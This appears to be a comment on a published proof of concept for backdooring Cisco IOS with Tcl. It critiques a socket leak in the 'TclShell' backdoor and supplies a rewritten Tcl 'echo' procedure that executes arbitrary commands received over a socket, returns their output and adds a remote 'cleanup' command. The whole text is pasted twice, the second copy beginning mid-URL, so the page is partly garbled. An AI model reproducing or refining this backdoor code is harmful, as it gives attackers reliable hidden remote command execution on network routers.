A quick comment on the TclShell source code (v0.1) included in http://www.irmplc.com/content/pdfs/Creating_Backdoors_in_Cisco_IOS_using
_Tcl.pdf
The echo procedure fails to close the client socket on EOF. This will cause the readable fileevent to trigger repeatedly consuming CPU and never freeing the socket. As the Tcl interpreter on Cisco devices has a relatively small number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running.
I'd recommend rewriting the echo proc as:
proc echo {sock} {
global var
if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}
# allow a special command to "clean up"
if {$line == "cleanup"} {
set var done
puts $sock "(closing backdoor...)"
return [close $sock]
}
catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}
}
The above version makes sure sockets are closed when they should be. It also takes advantage of the "vwait var" already present in the script (which kicks off the event loop and allows incoming connections to be processed) and provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was intended in the original version since the original echo proc calls "global var" despite never doing anything with the variable var afterwards.
_Tcl.pdf
The echo procedure fails to close the client socket on EOF. This will cause the readable fileevent to trigger repeatedly consuming CPU and never freeing the socket. As the Tcl interpreter on Cisco devices has a relatively small number of sockets (255 total system wide if memory serves) repeated connections to the backdoor would exhaust all available (to Tcl) sockets on the device effectively DoS'ing other Tcl scripts and probes running.
I'd recommend rewriting the echo proc as:
proc echo {sock} {
global var
if {[catch {gets $sock line}] ||
[eof $sock]} {
return [close $sock]
}
# allow a special command to "clean up"
if {$line == "cleanup"} {
set var done
puts $sock "(closing backdoor...)"
return [close $sock]
}
catch {exec $line} result
if {[catch {puts $sock $result}]} {
return [close $sock]
}
}
The above version makes sure sockets are closed when they should be. It also takes advantage of the "vwait var" already present in the script (which kicks off the event loop and allows incoming connections to be processed) and provides a method to remotely close the backdoor once it is no longer wanted. I suspect something like this was intended in the original version since the original echo proc calls "global var" despite never doing anything with the variable var afterwards.
[ reply ]